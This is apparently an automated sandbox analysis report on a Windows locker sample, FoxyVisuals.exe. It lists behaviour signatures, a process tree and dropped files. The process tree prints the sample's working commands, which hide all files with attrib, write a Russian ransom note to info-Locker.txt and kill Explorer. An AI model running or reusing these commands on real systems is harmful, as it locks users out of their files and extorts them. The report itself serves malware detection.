Overview

overview

10

Static

static

3

FoxyVisuals.exe

windows10-2004-x64

10

FoxyVisuals.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/06/2026, 12:38

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General

  • Target
    FoxyVisuals.exe
  • Size 209KB
  • Sample260622-pt81aact5w
  • SHA256 fcc706e6e4fd7e9d8da53851392923937a9ae4def4e7cbf2b56fdf40a7a8a334
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Adds Run key to start application 2 TTPs 10 IoCs
    persistence
  • Drops desktop.ini file(s) 4 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
    defense_evasion
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 12 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxyVisuals.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxyVisuals.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5328
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Windows Заблокирован! Готовь откуп либо ломаю тебе материнскую плату! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:252
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5696
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Windows Заблокирован! Готовь откуп либо ломаю тебе материнскую плату! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2200
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:132
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:2592
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Windows Заблокирован! Готовь откуп либо ломаю тебе материнскую плату! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5796
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3780
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5516
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Windows Заблокирован! Готовь откуп либо ломаю тебе материнскую плату! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5276
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4936
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:3060
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Windows Заблокирован! Готовь откуп либо ломаю тебе материнскую плату! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2008
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:1828
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:1904
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Windows Заблокирован! Готовь откуп либо ломаю тебе материнскую плату! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2588
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:1492
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5536
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3864
  • C:\Users\Admin\AppData\Local\Temp\FoxyVisuals.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxyVisuals.exe"
    1⤵
      PID:1368
    • C:\Users\Admin\AppData\Local\Temp\FoxyVisuals.exe
      "C:\Users\Admin\AppData\Local\Temp\FoxyVisuals.exe" -startup
      1⤵
        PID:5432
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:5584
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:5652
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3424
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4064

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 603B
            • SHA256 b346273b0f3e13afaa9f07d97248343c45a667a5e097d1198a449a4de187aebb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            info-Locker.txt
            • Path C:\Users\Public\Desktop\info-Locker.txt
            • Size 81B
            • SHA256 75b39067119aa7ac0a0e6e649ddc9fcda0e34b6dd45bed0fb37537c689c8c5e8
            • MD5 SHA1 SHA512
            Submit Download

            memory/3424-46-0x0000017583FC0000-0x00000175840C0000-memory.dmp
            Download

            memory/3424-64-0x0000017583EE0000-0x0000017583F00000-memory.dmp
            Download

            memory/3424-45-0x0000017583DE0000-0x0000017583E00000-memory.dmp
            Download

            memory/3424-80-0x0000017584810000-0x0000017584830000-memory.dmp
            Download

            memory/3424-34-0x00000175801E0000-0x00000175802E0000-memory.dmp
            Download

            memory/5328-9-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-31-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-13-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-14-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-11-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-27-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-28-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-29-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-30-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-12-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-32-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-10-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-0-0x00007FFD2AB7F000-0x00007FFD2AB80000-memory.dmp
            Download

            memory/5328-5-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-4-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-3-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-2-0x00007FFD2A9F0000-0x00007FFD2B394000-memory.dmp
            Download

            memory/5328-1-0x0000000000E20000-0x0000000000E5A000-memory.dmp
            Download

            memory/5652-211-0x000000000D220000-0x000000000DA9B000-memory.dmp
            Download